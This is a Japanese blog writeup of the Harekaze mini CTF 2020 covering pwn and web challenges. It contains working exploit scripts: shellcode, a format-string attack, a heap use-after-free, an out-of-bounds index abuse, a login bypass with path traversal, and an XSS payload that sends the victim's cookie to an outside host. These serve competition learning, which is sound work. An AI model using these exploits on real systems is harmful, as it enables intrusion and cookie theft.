CTFするぞ

CTF以外のことも書くよ

Harekaze mini CTF 2020のWriteup

24時間のHarekaze mini CTF*1 2020が開催されました。 zer0ptsとして参加しましたが、作問陣にいたり忙しかったりで参加できないメンバーが多かったのでチーム名を「yoshiking*2と愉快な仲間たち」にすれば良かったと後悔しています。

難易度は比較的易しめに設計されていました。 pwnもwebもcryptoも全問ソースコードが公開されており素晴らしかったです。

元祖yoshiking隊長のwriteup:

yoshiking.hatenablog.jp

[Pwn] Shellcode

x86-64でシェルコードが実行できる。 実行前にrspとrbpが0にされるが、これは出回っているシェルコードを弾く役割で、全く問題ない。 方法はいろいろあるが、今回のバイナリはPIEでなく、かつ実行ファイル中に"/bin/sh\0"の文字列があるので、それを利用した。

from ptrlib import *

#s = Process("./shellcode")
s = Socket("nc 20.48.83.165 20005")

shellcode = nasm("""
xor esi, esi
xor edx, edx
mov edi, 0x404060
mov eax, 59
syscall
""", bits=64)
s.send(shellcode)

s.interactive()

[Pwn] Kodama

単純なFSBが2回呼び出せる。

    char buf[0x20];

    for (int i = 0; i < 2; i++) {
        fgets(buf, 0x20, stdin);
        printf(buf);
    }

バッファサイズが0x20と小さいので工夫する必要がある。 一回目でアドレスをリークし、二回目でone gadgetでも呼びたいところだが、リターンアドレスは現実的にこのバッファサイズでは2バイトしか書き換えられない。 ここで、main関数終了時にr12レジスタ_startを指していることに注目する。 rp++で__libc_start_main周辺のcall r12 gadgetを探すと次のようにいくつか見つかる。

$ rp-lin-x64 -f libc.so.6 --rop=0 | grep "call r12"
0x00029b76: call r12 ;  (1 found)
0x0002a4e4: call r12 ;  (1 found)
0x0002a60b: call r12 ;  (1 found)
...

これで何回でもFSBが呼べるようになった。

あとは__malloc_hookをone gadgetに書き換え、先程と同様の手順でリターンアドレスを__libc_start_main周辺のcall malloc gadgetに変更した。 なお、one gadgetが呼ばれる時点でrdx, r10が共に0だったので、次のような制約のものを利用した。

0xdf739 execve("/bin/sh", r10, rdx)
constraints:
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

ここで制約には書かれていないが、rbpが書き込み可能なメモリアドレス周辺を指している必要がある。 しかし、main関数終了時にrbpは__libc_csu_initを指してしまうため、事前にsaved rbpを部分的に書き換え、bssセクション周辺に変更しておく。

from ptrlib import *

elf = ELF("./kodama")
libc = ELF("./libc.so.6")
#sock = Process("./kodama", {'LD_PRELOAD': './libc.so.6'})
sock = Socket("nc 20.48.81.63 20002")
one_gadget = 0xdf739

""" Step 1: Leak Address """
# leak address
sock.recvuntil("|__/|__/\n\n")
payload = "%12$p.%14$p.%15$p"
sock.sendline(payload)
r = sock.recvline().split(b'.')
addr_ret = int(r[0], 16) - 0x100 + 0x18
proc_base = int(r[1], 16) - 0x12f0
libc_base = int(r[2], 16) - libc.symbol("__libc_start_main") - 0xf2
logger.info("ret = " + hex(addr_ret))
logger.info("proc = " + hex(proc_base))
logger.info("libc = " + hex(libc_base))
# call main
rop_caller = libc_base + 0x00029b76 # near __libc_start_main
payload = fsb(
    pos=8,
    writes={addr_ret: rop_caller & 0xffff},
    size=2,
    bs=2,
    bits=64,
)
sock.sendline(payload)
sock.recv()

""" Step 2: Craft vTable """
target = {
    libc_base + libc.symbol("__malloc_hook"): libc_base + one_gadget,
}
for addr in target:
    for i in range(6):
        sock.recvuntil("|__/|__/\n\n")
        addr_ret -= 0x100 - 0x20
        logger.info("ret = " + hex(addr_ret))
        # call main
        payload = fsb(
            pos=8,
            writes={addr_ret: rop_caller & 0xffff},
            size=2,
            bs=2,
            bits=64,
        )
        sock.sendline(payload)
        sock.recv()
        # overwrite target
        payload = fsb(
            pos=8,
            writes={addr + i: (target[addr] >> (i*8)) & 0xff},
            size=1,
            bs=1,
            bits=64,
        )
        sock.sendline(payload)
        sock.recv()

""" Stage 3: WIN """
# overwrite rbp
sock.recvuntil("|__/|__/\n\n")
addr_ret -= 0x100 - 0x20
logger.info("ret = " + hex(addr_ret))
addr_writable = proc_base + elf.section('.bss') + 0x800
payload = fsb(
    pos=8,
    writes={addr_ret - 8 + 1: (addr_writable >> 8) & 0xff},
    size=1,
    bs=1,
    bits=64,
)
sock.sendline(payload)
sock.recv()
# call malloc
malloc_caller = libc_base + 0x29540
payload = fsb(
    pos=8,
    writes={addr_ret: malloc_caller & 0xffff},
    size=2,
    bs=2,
    bits=64,
)
sock.sendline(payload)
sock.recv()

sock.interactive()

[Pwn] NM Game Extreme

なんかよく分からんゲームが渡される。(ニムって言うらしい。) 相手に勝つ必要は無いが、400回ゲームをする必要があり、たぶん普通に遊んだらタイムアウトで終了するんだと思う。

自明な範囲外参照があるので、これを利用してゲームの回数を減らす。

                do {
                    printf("Choose a heap [0-%d]: ", n - 1);
                    scanf("%d", &index);
                } while (nums[index] == 0);

それだけ。

from ptrlib import *

#sock = Process("./nmgameex")
sock = Socket("nc 20.48.84.13 20003")

logger.info("Start")
ok = False
while True:
    if not ok:
        sock.sendlineafter(": ", "3")
    sock.recvline()
    l = sock.recvline()
    logger.info(l)
    if b'You lost' in l:
        continue
    n = int(l)
    if n <= 3:
        sock.sendlineafter(": ", str(n))
        break
    elif n == 7:
        sock.sendlineafter(": ", "3")
        ok = True
    elif n == 6:
        sock.sendlineafter(": ", "2")
        ok = True
    elif n == 5:
        sock.sendlineafter(": ", "1")
        ok = True

rem = 399
while rem > 0:
    logger.info("Remaining: " + str(rem))
    sock.sendlineafter("]: ", "-4")
    sock.sendlineafter(": ", "3")
    rem -= 3

tolist = lambda x: list(map(int, x.split()))

while True:
    sock.recvline()
    r = sock.recvline()
    if b'Remaining' in r:
        logger.info(r)
        break
    l = tolist(r)
    logger.info(l)
    for i in range(len(l)):
        if l[i] > 3:
            sock.sendlineafter("]: ", str(i))
            sock.sendlineafter(": ", "3")
            break
        elif l[i] > 0:
            sock.sendlineafter("]: ", str(i))
            sock.sendlineafter(": ", str(l[i]))
            break

sock.interactive()

[Pwn] Safe Note

よくあるノート問。 脆弱性はこの間ASISで出した参照カウンタの問題と似ており、データの移動元と移動先が同じときにUse-after-Freeが起きる。

    if (delete_src) {
        free(notes[src].buf);
        notes[src].buf = NULL;
    }
    notes[dest].buf = p;
    notes[dest].size = notes[src].size;

libcのバージョンが2.32なので、safe linkingに注意して偽チャンクのfree、tcache poisoning等すれば終わり。 なんか途中でガチャガチャしてるのは、main arenaへのポインタの最下位バイトが0でprintされないので、適当な非nullデータを含む1バイトのチャンクをcopyしている処理。

from ptrlib import *

def alloc(index, size, data):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(size))
    if size > 1:
        sock.sendlineafter(": ", data)
def show(index):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))
    return sock.recvline()
def move(src, dst):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(": ", str(src))
    sock.sendlineafter(": ", str(dst))
def copy(src, dst):
    sock.sendlineafter("> ", "4")
    sock.sendlineafter(": ", str(src))
    sock.sendlineafter(": ", str(dst))

#"""
libc = ELF("./server-libc.so.6")
sock = Socket("20.48.83.103", 20004)
"""
libc = ELF("./libc.so.6")
sock = Process(["./ld-2.32.so", "--library-path", "./", "./safenote"])
#"""

# leak heap
alloc(0, 0x28, b"A"*0x10 + p64(0) + p64(0x421))
alloc(1, 0x28, "B")
move(0, 0)
move(1, 1)
heap_base = u64(show(0)) << 12
logger.info("heap = " + hex(heap_base))

# leak libc
addr_fake = heap_base + 0x2c0
alloc(2, 0x18, p64(addr_fake ^ ((heap_base + 0x2d0) >> 12)))
copy(2, 1)
alloc(6, 1, '')
alloc(3, 0x28, b"C")
alloc(4, 0x28, b"D")
payload = p64(0x21) * (0x70 // 8 - 1)
for i in range(8):
    alloc(0, 0x70, payload)
move(4, 4)
move(6, 6)
copy(6, 4)
libc_base = (u64(show(4)) - libc.main_arena()) & 0xfffffffffffff000
logger.info("libc = " + hex(libc_base))
alloc(6, 1, '')
copy(6, 4)

# overwrite __free_hook
alloc(0, 0x38, "A")
alloc(1, 0x38, "B")
move(0, 0)
move(1, 1)
addr_target = libc_base + libc.symbol("__free_hook")
alloc(2, 0x18, p64(addr_target ^ ((heap_base + 0x300) >> 12)))
copy(2, 1)
alloc(0, 0x38, "/bin/sh\0")
alloc(1, 0x38, p64(libc_base + libc.symbol("system")))
move(0, 0)

sock.interactive()

[Web] WASM BF

XSS問。クッキーにフラグが書いてあるらしい。

    const page = await browser.newPage();
    await page.setCookie({
        name: 'flag',
        value: process.env['FLAG'],
        domain: process.env['CHALLENGE_DOMAIN'],
        httpOnly: false,
        secure: false
    });

    await page.goto(url, {
        waitUntil: 'domcontentloaded',
        timeout: 3000
    });
    await page.waitForTimeout(3000);

サービスはbrainfuckのコードを実行して結果を出力するだけ。 コードの表示にescapeが無いのでXSSできそうだが、実はbrainfuckインタプリタ側でこれがescapeされている。

インタプリタはWebAssemblyで書かれており、いつかのwasm pwnを出したCTFとは違ってソースコードも配布されている。 脆弱性は自明な範囲外参照。memoryの範囲を超えてメモリ操作が可能。

unsigned char buffer[BUFFER_SIZE] = {0};
unsigned char *buffer_pointer = buffer;
unsigned char memory[MEMORY_SIZE] = {0};
char program[PROGRAM_MAX_SIZE] = {0};

文字出力はバッファリングされており、flushすると初めてJavaScript側でHTMLに出力される。

void print_char(char c) {
  if (buffer_pointer + 4 >= buffer + BUFFER_SIZE) {
    flush();
  }

  // Prevent XSS!
  if (c == '<' || c == '>') {
    buffer_pointer[0] = '&';
    buffer_pointer[1] = c == '<' ? 'l' : 'g';
    buffer_pointer[2] = 't';
    buffer_pointer[3] = ';';
    buffer_pointer += 4;
  } else {
    *buffer_pointer = c;
    buffer_pointer++;
  }
}

したがって、メモリの範囲外書き込みでバッファリング用のバッファを直接書き換え、XSSのpayloadを完成させれば良い。

wasmをwatに変換して読むと、変数の並びがCのコードの順と変わっていることに注意。(buffer_pointerを書き換えようと思って時間を溶かした。)

  (func $initialize (type 1)
    i32.const 0
    i32.const 1024
    i32.store offset=3144
    i32.const 1024
    i32.const 0
    i32.const 100
    call $memset
    drop
    i32.const 1136
    i32.const 0
    i32.const 1000
    call $memset
    drop
    i32.const 2144
    i32.const 0
    i32.const 1000
    call $memset
    drop)

あとはやるだけ。動的書き換えではscriptは発火しないのでimgとかを使おうね。(web初心者並感)

raw_xss = """=img src=x onerror="location.href='http://moxxie.tk:18001/'+document.cookie;"?"""
code = "----[---->+<]>--.--[--->+<]>.++++.------.-[--->+<]>--.---[->++++<]>-.-.++++[->+++<]>+.[--->++<]>-----.-[->++<]>.[---->+<]>++.+++++[->+++<]>.-.---------.+++++++++++++..---.+++.[-->+<]>++++.+[-->+<]>+++.[--->++<]>.+++.------------.--.--[--->+<]>-.-----------.++++++.-.[----->++<]>++.+[--->+<]>+++.++++++++++.-------------.+.+++[->+++<]>++.-[--->++<]>-.----[->+++<]>-.++++++++++++..----.[-->+<]>++.-----------..+[----->+<]>---.++.+++++++++..[->+++<]>+.----.[->+++<]>-.[--->++<]>.---------.--[->+++<]>-.---------.+++++++.--------..+.--.--------.++++.+[--->+<]>.+++++++++++.------------.-[--->+<]>-.--------.--------.+++++++++.++++++.[++>---<]>.--[--->+<]>-.++++++++++++..----.--.----.++++[->+++<]>.-[->+++++<]>.--[->++<]>-."

code += "<" * 66
code += "-"
code += "<" * 77
code += "-"

with open("exploit.bf", "w") as f:
    f.write(code)

あとはサーバー側で待ち受けてクローラに踏ませればフラグが降ってくる。

[Web] Avatar Viewer

node製アプリで、adminユーザーで/adminにアクセスすればフラグが貰える。

app.get('/admin', async (request, reply) => {
  const username = request.session.get('username');
  if (!username) {
    request.flash('error', 'please log in to view this page');
    return reply.redirect('/login');
  }

  if (username != adminUsername) {
    request.flash('error', 'only admin can view this page');
    return reply.redirect('/login');
  }

  return reply.view('index.ejs', { 
    page: 'admin',
    username: request.session.get('username'),
    flash: reply.flash(),
    flag
  });
});

ユーザー登録はできないが、guest / guestのアカウントだけ用意されている。 ユーザー一覧は users.json から取得される。

1つ目の問題はログイン方法。

app.post('/login', async (request, reply) => {
  if (!request.body) {
    request.flash('error', 'HTTP request body is empty');
    return reply.redirect('/login');
  }

  if (!('username' in request.body && 'password' in request.body)) {
    request.flash('error', 'username or password is not provided');
    return reply.redirect('/login');
  }

  const { username, password } = request.body;
  if (username.length > 16) {
    request.flash('error', 'username is too long');
    return reply.redirect('/login');
  }

  if (users[username] != password) {
    request.flash('error', 'username or password is incorrect');
    return reply.redirect('/login');
  }

  request.session.set('username', username);
  reply.redirect('/profile');
});

緩い比較演算子を使っているので、usernameを好きな文字列にしてpasswordをnullにすれば認証を突破できる。

> users["hoge"] != null
false

2つ目の問題はアバターのアイコンを取得する部分にある。

app.get('/myavatar.png', async (request, reply) => {
  const username = request.session.get('username');
  if (!username) {
    request.flash('error', 'please log in to view this page');
    return reply.redirect('/login');
  }

  if (username.includes('.') || username.includes('/') || username.includes('\\')) {
    request.flash('error', 'no hacking!');
    return reply.redirect('/login');
  }

  const imagePath = path.normalize(`${__dirname}/images/${username}`);
  if (!imagePath.startsWith(__dirname)) {
    request.flash('error', 'no hacking!');
    return reply.redirect('/login');
  }

  reply.type('image/png');
  if (fs.existsSync(imagePath)) {
    return fs.readFileSync(imagePath);
  }
  return fs.readFileSync('images/default');
});

ユーザー名をパスに入れて画像を取得している。 その前にフィルタがあるので一見問題無さそうだが、今回usernameに任意のオブジェクトを入れられることに注意する。

JavaScriptで配列のtoStringは",".join(arr)みたいな処理になっているので、配列を入れてもそのまま文字列としてパスに入る。 一方、その前のincludesString.prototype.includesArray.prototype.includesの2つがあり、型により処理が変わる。 したがって、ユーザー名を ["../users.json"] のようにすればユーザーリストが取得できる。

adminの名前が長くて普通にログインできないが、同様に配列にすればlengthは1になるのでログインでき、フラグが得られる。

import requests
import json

URL = "http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/avatar-viewer"

data = json.dumps({
    'username': ["../users.json"],
    'password': None
})
print(data)
headers = {'Content-Type': 'application/json'}
r = requests.post(f"{URL}/login", data=data, headers=headers)

cookies = r.cookies
r = requests.get(f"{URL}/myavatar.png", cookies=cookies)
users = json.loads(r.text)

for key in users:
    if key.startswith("admin"):
        username = key
        password = users[key]
        break

data = json.dumps({
    'username': [username],
    'password': password
})
headers = {'Content-Type': 'application/json'}
r = requests.post(f"{URL}/login", data=data, headers=headers)

cookies = r.cookies
r = requests.get(f"{URL}/admin", cookies=cookies)
print(r.text)

[Misc] Proxy Sandbox

数時間考えたけど解けなかった。 ので私は初心者以下であることが無事証明され、ぐっすり眠れた。 朝起きたらチームの人がシュっと解いたのかDiscordにフラグが置いてあった*3

【追記】今見たら普通に解けた。何かすごい大変な勘違いをしてましたね^^;

*1:ほぼzer0ptsのメンバーが作問してたし実質zer0pts mini CTF

*2:というかyoshikingってHarekazeに所属してなかったっけ?気のせい?

*3:クリスマスプレゼントの可能性すらある